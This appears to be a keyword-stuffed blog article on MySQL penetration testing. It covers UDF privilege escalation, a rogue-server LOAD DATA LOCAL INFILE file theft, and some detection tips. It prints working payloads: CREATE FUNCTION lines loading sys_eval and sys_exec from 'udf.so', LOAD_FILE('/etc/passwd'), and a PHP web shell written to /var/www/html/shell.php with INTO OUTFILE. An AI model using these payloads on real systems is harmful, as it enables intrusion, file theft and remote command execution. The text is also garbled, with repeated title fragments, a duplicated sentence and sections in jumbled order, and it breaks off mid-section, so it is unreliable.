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Mastering MySQL Pentesting: The Ultimate Guide to "MySQL HackTricks Verified" Techniques

Introduction

In the world of cybersecurity, the MySQL database is a prime target. Whether it’s an exposed port 3306 on a public server or a SQL Injection vulnerability in a web application, compromising MySQL often leads to full database access, credential harvesting, or even Remote Code Execution (RCE).

Privilege Escalation via Libraries: Using user-defined functions (UDF) to run commands with the privileges of the MySQL user. mysql hacktricks verified

Why this is the most interesting feature: It moves the attack from "Stealing Data" to "Total System Compromise." It essentially turns the MySQL service into a rootkit for the operating system. HackTricks provides detailed cheatsheets for the hex-encoding process required to transfer these binaries cleanly via SQL queries. Mastering MySQL Pentesting: The Ultimate Guide to "MySQL

How it works (verified):
Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON, MySQL Workbench, or outdated connectors) will send back any file the client user can read. Centralize logs: MySQL general and audit logs forwarded

Detection and monitoring recommendations

• Centralize logs: MySQL general and audit logs forwarded to SIEM.
• Alert on: new UDFs, sudden GRANTs, INTO OUTFILE operations, replication changes, large SELECTs/dumps.
• Monitor process and file changes for plugin_dir and webroot.
• Implement connection anomaly detection (unusual source IPs, bulk exports).

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
CREATE FUNCTION sys_open RETURNS INT SONAME 'udf.so';

• Reading arbitrary files using LOAD_FILE('/etc/passwd') – a verified way to exfiltrate sensitive system files.
• Writing web shells into the webroot:
  SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' – this technique is verified to bypass basic defenses if secure_file_priv is unset.

Using Metasploit: